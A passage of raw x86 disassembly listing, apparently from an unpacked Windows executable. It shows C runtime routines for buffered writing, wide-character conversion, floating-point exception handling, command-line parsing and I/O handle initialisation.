mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_42328F xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42314C loc_423145: ; CODE XREF: sub_4230FB+177j xor eax, eax jmp loc_4232A3 ; --------------------------------------------------------------------------- loc_42314C: ; CODE XREF: sub_4230FB+48j test al, 20h jz short loc_42315C push 2 push edi push ecx call sub_422F09 add esp, 0Ch loc_42315C: ; CODE XREF: sub_4230FB+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_42322B mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_423263 loc_42317C: ; CODE XREF: sub_4230FB+F5j lea eax, [ebp+var_414] loc_423182: ; CODE XREF: sub_4230FB+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4231B6 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4231A1 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4231A1: ; CODE XREF: sub_4230FB+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_423182 loc_4231B6: ; CODE XREF: sub_4230FB+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2710000h nop test eax, eax jz short loc_423220 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_4231F2 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42317C loc_4231F2: ; CODE XREF: sub_4230FB+EAj ; sub_4230FB+12Ej xor edi, edi loc_4231F4: ; CODE XREF: sub_4230FB+150j ; sub_4230FB+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_42328A cmp [ebp+arg_0], edi jz short loc_423263 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_423258 mov dword_4DBDDC, 9 mov dword_4DBDE0, eax jmp loc_4232A0 ; --------------------------------------------------------------------------- loc_423220: ; CODE XREF: sub_4230FB+E0j nop call near ptr 26908B8h mov [ebp+arg_0], eax jmp short loc_4231F2 ; --------------------------------------------------------------------------- loc_42322B: ; CODE XREF: sub_4230FB+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2710000h test eax, eax jz short loc_42324D mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_4231F4 ; --------------------------------------------------------------------------- loc_42324D: ; CODE XREF: sub_4230FB+145j nop call near ptr 26908B8h mov [ebp+arg_0], eax jmp short loc_4231F4 ; --------------------------------------------------------------------------- loc_423258: ; CODE XREF: sub_4230FB+10Fj push [ebp+arg_0] call sub_420C7F pop ecx jmp short loc_4232A0 ; --------------------------------------------------------------------------- loc_423263: ; CODE XREF: sub_4230FB+7Bj ; sub_4230FB+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_423278 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_423145 loc_423278: ; CODE XREF: sub_4230FB+16Fj mov dword_4DBDDC, 1Ch mov dword_4DBDE0, edi jmp short loc_4232A0 ; --------------------------------------------------------------------------- loc_42328A: ; CODE XREF: sub_4230FB+FEj sub eax, [ebp+var_10] jmp short loc_4232A3 ; --------------------------------------------------------------------------- loc_42328F: ; CODE XREF: sub_4230FB+15j ; sub_4230FB+37j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_4232A0: ; CODE XREF: sub_4230FB+120j ; sub_4230FB+166j ... or eax, 0FFFFFFFFh loc_4232A3: ; CODE XREF: sub_4230FB+4Cj ; sub_4230FB+192j pop edi pop esi pop ebx leave retn sub_4230FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4232A8 proc near ; CODE XREF: sub_41DE4A+47p ; sub_41DE4A+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DBE78, edi jnz short loc_42331E push edi push edi push 1 pop ebx push ebx push offset dword_427920 mov esi, 100h push esi push edi nop call near ptr 2640000h test eax, eax jz short loc_4232FC mov dword_4DBE78, ebx jmp short loc_42331E ; --------------------------------------------------------------------------- loc_4232FC: ; CODE XREF: sub_4232A8+4Aj push edi push edi push ebx push offset word_4CB88C push esi push edi call near ptr 2641234h nop test eax, eax jz loc_423436 mov dword_4DBE78, 2 loc_42331E: ; CODE XREF: sub_4232A8+2Ej ; sub_4232A8+52j cmp [ebp+arg_C], edi jle short loc_423333 push [ebp+arg_C] push [ebp+arg_8] call sub_4234CC pop ecx pop ecx mov [ebp+arg_C], eax loc_423333: ; CODE XREF: sub_4232A8+79j mov eax, dword_4DBE78 cmp eax, 2 jnz short loc_42335A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2641234h jmp loc_423438 ; --------------------------------------------------------------------------- loc_42335A: ; CODE XREF: sub_4232A8+93j cmp eax, 1 jnz loc_423436 cmp [ebp+arg_18], edi jnz short loc_423370 mov eax, dword_4DBE94 mov [ebp+arg_18], eax loc_423370: ; CODE XREF: sub_4232A8+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2700000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_423436 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4233CB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_4233CB: ; CODE XREF: sub_4232A8+10Ej cmp [ebp+var_24], edi jz short loc_423436 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call near ptr 2700000h nop test eax, eax jz short loc_423436 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_423436 test byte ptr [ebp+arg_4+1], 4 jz short loc_42344A cmp [ebp+arg_14], edi jz loc_4234C5 cmp esi, [ebp+arg_14] jg short loc_423436 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jnz loc_4234C5 loc_423436: ; CODE XREF: sub_4232A8+66j ; sub_4232A8+B5j ... xor eax, eax loc_423438: ; CODE XREF: sub_4232A8+ADj ; sub_4232A8+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42344A: ; CODE XREF: sub_4232A8+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_42347E ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_42347E: ; CODE XREF: sub_4232A8+1C2j cmp ebx, edi jz short loc_423436 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jz short loc_423436 cmp [ebp+arg_14], edi push edi push edi jnz short loc_4234A5 push edi push edi jmp short loc_4234AB ; --------------------------------------------------------------------------- loc_4234A5: ; CODE XREF: sub_4232A8+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_4234AB: ; CODE XREF: sub_4232A8+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2831022h mov esi, eax cmp esi, edi jz loc_423436 loc_4234C5: ; CODE XREF: sub_4232A8+165j ; sub_4232A8+188j mov eax, esi jmp loc_423438 sub_4232A8 endp ; =============== S U B R O U T I N E ======================================= sub_4234CC proc near ; CODE XREF: sub_4232A8+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_4234E9 loc_4234DC: ; CODE XREF: sub_4234CC+1Bj cmp byte ptr [eax], 0 jz short loc_4234E9 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_4234DC loc_4234E9: ; CODE XREF: sub_4234CC+Ej ; sub_4234CC+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4234F4 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4234F4: ; CODE XREF: sub_4234CC+21j mov eax, edx retn sub_4234CC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_423638 test eax, eax pop ecx jz loc_42362C mov ebx, [eax+8] test ebx, ebx jz loc_42362C cmp ebx, 5 jnz short loc_423528 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_423635 ; --------------------------------------------------------------------------- loc_423528: ; CODE XREF: ___:0042351Aj cmp ebx, 1 jz loc_423627 mov ecx, dword_4DBE9C mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DBE9C, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_423617 mov ecx, dword_43D4C0 mov edx, dword_43D4C4 add edx, ecx push esi cmp ecx, edx jge short loc_423577 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43D450h[esi*4] loc_42356E: ; CODE XREF: ___:00423575j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_42356E loc_423577: ; CODE XREF: ___:00423560j mov eax, [eax] mov esi, dword_43D4CC cmp eax, 0C000008Eh jnz short loc_423592 mov dword_43D4CC, 83h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_423592: ; CODE XREF: ___:00423584j cmp eax, 0C0000090h jnz short loc_4235A5 mov dword_43D4CC, 81h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235A5: ; CODE XREF: ___:00423597j cmp eax, 0C0000091h jnz short loc_4235B8 mov dword_43D4CC, 84h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235B8: ; CODE XREF: ___:004235AAj cmp eax, 0C0000093h jnz short loc_4235CB mov dword_43D4CC, 85h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235CB: ; CODE XREF: ___:004235BDj cmp eax, 0C000008Dh jnz short loc_4235DE mov dword_43D4CC, 82h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235DE: ; CODE XREF: ___:004235D0j cmp eax, 0C000008Fh jnz short loc_4235F1 mov dword_43D4CC, 86h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235F1: ; CODE XREF: ___:004235E3j cmp eax, 0C0000092h jnz short loc_423602 mov dword_43D4CC, 8Ah loc_423602: ; CODE XREF: ___:00423590j ; ___:004235A3j ... push dword_43D4CC push 8 call ebx pop ecx mov dword_43D4CC, esi pop ecx pop esi jmp short loc_42361F ; --------------------------------------------------------------------------- loc_423617: ; CODE XREF: ___:00423549j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_42361F: ; CODE XREF: ___:00423615j mov eax, [ebp+8] mov dword_4DBE9C, eax loc_423627: ; CODE XREF: ___:0042352Bj or eax, 0FFFFFFFFh jmp short loc_423635 ; --------------------------------------------------------------------------- loc_42362C: ; CODE XREF: ___:00423506j ; ___:00423511j push dword ptr [ebp+0Ch] call near ptr 2630000h nop loc_423635: ; CODE XREF: ___:00423523j ; ___:0042362Aj pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_423638 proc near ; CODE XREF: ___:004234FEp arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D4C8 cmp dword_43D448, edx push esi mov eax, offset dword_43D448 jz short loc_423665 lea esi, [ecx+ecx*2] lea esi, ds:43D448h[esi*4] loc_42365A: ; CODE XREF: sub_423638+2Bj add eax, 0Ch cmp eax, esi jnb short loc_423665 cmp [eax], edx jnz short loc_42365A loc_423665: ; CODE XREF: sub_423638+16j ; sub_423638+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43D448h[ecx*4] cmp eax, ecx jnb short loc_423678 cmp [eax], edx jz short locret_42367A loc_423678: ; CODE XREF: sub_423638+3Aj xor eax, eax locret_42367A: ; CODE XREF: sub_423638+3Ej retn sub_423638 endp ; --------------------------------------------------------------------------- cmp dword_4DD394, 0 jnz short loc_423689 call sub_420B0D loc_423689: ; CODE XREF: ___:00423682j push esi mov esi, dword_4DD38C mov al, [esi] cmp al, 22h jnz short loc_4236BB loc_423696: ; CODE XREF: ___:004236AEj ; ___:004236B1j mov al, [esi+1] inc esi cmp al, 22h jz short loc_4236B3 test al, al jz short loc_4236B3 movzx eax, al push eax call sub_424FE7 test eax, eax pop ecx jz short loc_423696 inc esi jmp short loc_423696 ; --------------------------------------------------------------------------- loc_4236B3: ; CODE XREF: ___:0042369Cj ; ___:004236A0j cmp byte ptr [esi], 22h jnz short loc_4236C5 loc_4236B8: ; CODE XREF: ___:004236CDj inc esi jmp short loc_4236C5 ; --------------------------------------------------------------------------- loc_4236BB: ; CODE XREF: ___:00423694j cmp al, 20h jbe short loc_4236C5 loc_4236BF: ; CODE XREF: ___:004236C3j inc esi cmp byte ptr [esi], 20h ja short loc_4236BF loc_4236C5: ; CODE XREF: ___:004236B6j ; ___:004236B9j ... mov al, [esi] test al, al jz short loc_4236CF cmp al, 20h jbe short loc_4236B8 loc_4236CF: ; CODE XREF: ___:004236C9j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DD394, ebx push esi push edi jnz short loc_4236E5 call sub_420B0D loc_4236E5: ; CODE XREF: ___:004236DEj mov esi, dword_4DBE34 xor edi, edi loc_4236ED: ; CODE XREF: ___:00423703j mov al, [esi] cmp al, bl jz short loc_423705 cmp al, 3Dh jz short loc_4236F8 inc edi loc_4236F8: ; CODE XREF: ___:004236F5j push esi call sub_41B9C0 pop ecx lea esi, [esi+eax+1] jmp short loc_4236ED ; --------------------------------------------------------------------------- loc_423705: ; CODE XREF: ___:004236F1j lea eax, ds:4[edi*4] push eax call sub_41BEB5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DBE04, esi jnz short loc_423727 push 9 call sub_41E2C9 pop ecx loc_423727: ; CODE XREF: ___:0042371Dj mov edi, dword_4DBE34 cmp [edi], bl jz short loc_42376A push ebp loc_423732: ; CODE XREF: ___:00423767j push edi call sub_41B9C0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_423763 push ebp call sub_41BEB5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_423756 push 9 call sub_41E2C9 pop ecx loc_423756: ; CODE XREF: ___:0042374Cj push edi push dword ptr [esi] call sub_41C890 pop ecx add esi, 4 pop ecx loc_423763: ; CODE XREF: ___:0042373Fj add edi, ebp cmp [edi], bl jnz short loc_423732 pop ebp loc_42376A: ; CODE XREF: ___:0042372Fj push dword_4DBE34 call sub_41BA91 pop ecx mov dword_4DBE34, ebx mov [esi], ebx pop edi pop esi mov dword_4DD390, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DD394, ebx push esi push edi jnz short loc_4237A3 call sub_420B0D loc_4237A3: ; CODE XREF: ___:0042379Cj mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call near ptr 2680000h nop mov eax, dword_4DD38C mov off_4DBE14, esi mov edi, esi cmp [eax], bl jz short loc_4237C8 mov edi, eax loc_4237C8: ; CODE XREF: ___:004237C4j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_423825 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41BEB5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_4237F8 push 8 call sub_41E2C9 pop ecx loc_4237F8: ; CODE XREF: ___:004237EEj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_423825 mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DBDFC, esi pop edi pop esi mov dword_4DBDF8, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423825 proc near ; CODE XREF: ___:004237D3p ; ___:00423809p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_42384F mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42384F: ; CODE XREF: sub_423825+20j cmp byte ptr [eax], 22h jnz short loc_423898 loc_423854: ; CODE XREF: sub_423825+58j ; sub_423825+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_423886 test dl, dl jz short loc_423886 movzx edx, dl test byte_4DD261[edx], 4 jz short loc_423879 inc dword ptr [ecx] test esi, esi jz short loc_423879 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423879: ; CODE XREF: sub_423825+46j ; sub_423825+4Cj inc dword ptr [ecx] test esi, esi jz short loc_423854 mov dl, [eax] mov [esi], dl inc esi jmp short loc_423854 ; --------------------------------------------------------------------------- loc_423886: ; CODE XREF: sub_423825+36j ; sub_423825+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423890 and byte ptr [esi], 0 inc esi loc_423890: ; CODE XREF: sub_423825+65j cmp byte ptr [eax], 22h jnz short loc_4238DB inc eax jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_423898: ; CODE XREF: sub_423825+2Dj ; sub_423825+A5j inc dword ptr [ecx] test esi, esi jz short loc_4238A3 mov dl, [eax] mov [esi], dl inc esi loc_4238A3: ; CODE XREF: sub_423825+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DD261[ebx], 4 jz short loc_4238BE inc dword ptr [ecx] test esi, esi jz short loc_4238BD mov bl, [eax] mov [esi], bl inc esi loc_4238BD: ; CODE XREF: sub_423825+91j inc eax loc_4238BE: ; CODE XREF: sub_423825+8Bj cmp dl, 20h jz short loc_4238CC test dl, dl jz short loc_4238D0 cmp dl, 9 jnz short loc_423898 loc_4238CC: ; CODE XREF: sub_423825+9Cj test dl, dl jnz short loc_4238D3 loc_4238D0: ; CODE XREF: sub_423825+A0j dec eax jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_4238D3: ; CODE XREF: sub_423825+A9j test esi, esi jz short loc_4238DB and byte ptr [esi-1], 0 loc_4238DB: ; CODE XREF: sub_423825+6Ej ; sub_423825+71j ... and [ebp+arg_10], 0 loc_4238DF: ; CODE XREF: sub_423825+19Ej cmp byte ptr [eax], 0 jz loc_4239C8 loc_4238E8: ; CODE XREF: sub_423825+D0j mov dl, [eax] cmp dl, 20h jz short loc_4238F4 cmp dl, 9 jnz short loc_4238F7 loc_4238F4: ; CODE XREF: sub_423825+C8j inc eax jmp short loc_4238E8 ; --------------------------------------------------------------------------- loc_4238F7: ; CODE XREF: sub_423825+CDj cmp byte ptr [eax], 0 jz loc_4239C8 test edi, edi jz short loc_42390C mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42390C: ; CODE XREF: sub_423825+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423911: ; CODE XREF: sub_423825+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_42391A: ; CODE XREF: sub_423825+FCj cmp byte ptr [eax], 5Ch jnz short loc_423923 inc eax inc ebx jmp short loc_42391A ; --------------------------------------------------------------------------- loc_423923: ; CODE XREF: sub_423825+F8j cmp byte ptr [eax], 22h jnz short loc_423954 test bl, 1 jnz short loc_423952 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423941 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423941 mov eax, edx jmp short loc_423944 ; --------------------------------------------------------------------------- loc_423941: ; CODE XREF: sub_423825+10Dj ; sub_423825+116j mov [ebp+arg_0], edi loc_423944: ; CODE XREF: sub_423825+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423952: ; CODE XREF: sub_423825+106j shr ebx, 1 loc_423954: ; CODE XREF: sub_423825+101j mov edx, ebx dec ebx test edx, edx jz short loc_423969 inc ebx loc_42395C: ; CODE XREF: sub_423825+142j test esi, esi jz short loc_423964 mov byte ptr [esi], 5Ch inc esi loc_423964: ; CODE XREF: sub_423825+139j inc dword ptr [ecx] dec ebx jnz short loc_42395C loc_423969: ; CODE XREF: sub_423825+134j mov dl, [eax] test dl, dl jz short loc_4239B9 cmp [ebp+arg_10], 0 jnz short loc_42397F cmp dl, 20h jz short loc_4239B9 cmp dl, 9 jz short loc_4239B9 loc_42397F: ; CODE XREF: sub_423825+14Ej cmp [ebp+arg_0], 0 jz short loc_4239B3 test esi, esi jz short loc_4239A2 movzx ebx, dl test byte_4DD261[ebx], 4 jz short loc_42399B mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_42399B: ; CODE XREF: sub_423825+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4239B1 ; --------------------------------------------------------------------------- loc_4239A2: ; CODE XREF: sub_423825+162j movzx edx, dl test byte_4DD261[edx], 4 jz short loc_4239B1 inc eax inc dword ptr [ecx] loc_4239B1: ; CODE XREF: sub_423825+17Bj ; sub_423825+187j inc dword ptr [ecx] loc_4239B3: ; CODE XREF: sub_423825+15Ej inc eax jmp loc_423911 ; --------------------------------------------------------------------------- loc_4239B9: ; CODE XREF: sub_423825+148j ; sub_423825+153j ... test esi, esi jz short loc_4239C1 and byte ptr [esi], 0 inc esi loc_4239C1: ; CODE XREF: sub_423825+196j inc dword ptr [ecx] jmp loc_4238DF ; --------------------------------------------------------------------------- loc_4239C8: ; CODE XREF: sub_423825+BDj ; sub_423825+D5j test edi, edi jz short loc_4239CF and dword ptr [edi], 0 loc_4239CF: ; CODE XREF: sub_423825+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_423825 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DBFA4 push ebx push ebp mov ebp, dword_427030 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_423A27 call ebp mov esi, eax cmp esi, ebx jz short loc_423A08 mov dword_4DBFA4, 1 jmp short loc_423A30 ; --------------------------------------------------------------------------- loc_423A08: ; CODE XREF: ___:004239FAj call near ptr 2620B13h nop mov edi, eax cmp edi, ebx jz loc_423B02 mov dword_4DBFA4, 2 jmp loc_423AB6 ; --------------------------------------------------------------------------- loc_423A27: ; CODE XREF: ___:004239F2j cmp eax, 1 jnz loc_423AB1 loc_423A30: ; CODE XREF: ___:00423A06j cmp esi, ebx jnz short loc_423A40 call ebp mov esi, eax cmp esi, ebx jz loc_423B02 loc_423A40: ; CODE XREF: ___:00423A32j cmp [esi], bx mov eax, esi jz short loc_423A55 loc_423A47: ; CODE XREF: ___:00423A4Cj ; ___:00423A53j inc eax inc eax cmp [eax], bx jnz short loc_423A47 inc eax inc eax cmp [eax], bx jnz short loc_423A47 loc_423A55: ; CODE XREF: ___:00423A45j sub eax, esi mov edi, dword_427188 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_423AA6 push ebp call sub_41BEB5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_423AA6 push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423AA2 push dword ptr [esp+10h] call sub_41BA91 pop ecx mov [esp+10h], ebx loc_423AA2: ; CODE XREF: ___:00423A92j mov ebx, [esp+10h] loc_423AA6: ; CODE XREF: ___:00423A72j ; ___:00423A81j push esi nop call near ptr 2620DA7h mov eax, ebx jmp short loc_423B04 ; --------------------------------------------------------------------------- loc_423AB1: ; CODE XREF: ___:00423A2Aj cmp eax, 2 jnz short loc_423B02 loc_423AB6: ; CODE XREF: ___:00423A22j cmp edi, ebx jnz short loc_423AC6 call near ptr 2620B13h nop mov edi, eax cmp edi, ebx jz short loc_423B02 loc_423AC6: ; CODE XREF: ___:00423AB8j cmp [edi], bl mov eax, edi jz short loc_423AD6 loc_423ACC: ; CODE XREF: ___:00423ACFj ; ___:00423AD4j inc eax cmp [eax], bl jnz short loc_423ACC inc eax cmp [eax], bl jnz short loc_423ACC loc_423AD6: ; CODE XREF: ___:00423ACAj sub eax, edi inc eax mov ebp, eax push ebp call sub_41BEB5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_423AEC xor esi, esi jmp short loc_423AF7 ; --------------------------------------------------------------------------- loc_423AEC: ; CODE XREF: ___:00423AE6j push ebp push edi push esi call sub_41CD20 add esp, 0Ch loc_423AF7: ; CODE XREF: ___:00423AEAj push edi call near ptr 2620DD9h nop mov eax, esi jmp short loc_423B04 ; --------------------------------------------------------------------------- loc_423B02: ; CODE XREF: ___:00423A12j ; ___:00423A3Aj ... xor eax, eax loc_423B04: ; CODE XREF: ___:00423AAFj ; ___:00423B00j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41BEB5 mov esi, eax pop ecx test esi, esi jnz short loc_423B2B push 1Bh call sub_41E2C9 pop ecx loc_423B2B: ; CODE XREF: ___:00423B21j mov dword_4DD040, esi mov dword_4DD140, 20h lea eax, [esi+100h] loc_423B41: ; CODE XREF: ___:00423B5Dj cmp esi, eax jnb short loc_423B5F and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DD040 add esi, 8 add eax, 100h jmp short loc_423B41 ; --------------------------------------------------------------------------- loc_423B5F: ; CODE XREF: ___:00423B43j lea eax, [esp+10h] push eax nop call near ptr 2870000h cmp word ptr [esp+42h], 0 jz loc_423C3B mov eax, [esp+44h] test eax, eax jz loc_423C3B mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_423B95 mov esi, eax loc_423B95: ; CODE XREF: ___:00423B91j cmp dword_4DD140, esi jge short loc_423BEF mov edi, offset dword_4DD044 loc_423BA2: ; CODE XREF: ___:00423BE5j push 100h call sub_41BEB5 test eax, eax pop ecx jz short loc_423BE9 add dword_4DD140, 20h mov [edi], eax lea ecx, [eax+100h] loc_423BC0: ; CODE XREF: ___:00423BDAj cmp eax, ecx jnb short loc_423BDC and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_423BC0 ; --------------------------------------------------------------------------- loc_423BDC: ; CODE XREF: ___:00423BC2j add edi, 4 cmp dword_4DD140, esi jl short loc_423BA2 jmp short loc_423BEF ; --------------------------------------------------------------------------- loc_423BE9: ; CODE XREF: ___:00423BAFj mov esi, dword_4DD140 loc_423BEF: ; CODE XREF: ___:00423B9Bj ; ___:00423BE7j xor edi, edi test esi, esi jle short loc_423C3B loc_423BF5: ; CODE XREF: ___:00423C39j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423C32 mov cl, [ebp+0] test cl, 1 jz short loc_423C32 test cl, 8 jnz short loc_423C14 push eax nop call near ptr 2620000h test eax, eax jz short loc_423C32 loc_423C14: ; CODE XREF: ___:00423C07j mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423C32: ; CODE XREF: ___:00423BFAj ; ___:00423C02j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_423BF5 loc_423C3B: ; CODE XREF: ___:00423B70j ; ___:00423B7Cj ... xor ebx, ebx loc_423C3D: ; CODE XREF: ___:00423CA0j mov eax, dword_4DD040 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_423C98 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_423C58 push 0FFFFFFF6h pop eax jmp short loc_423C62 ; 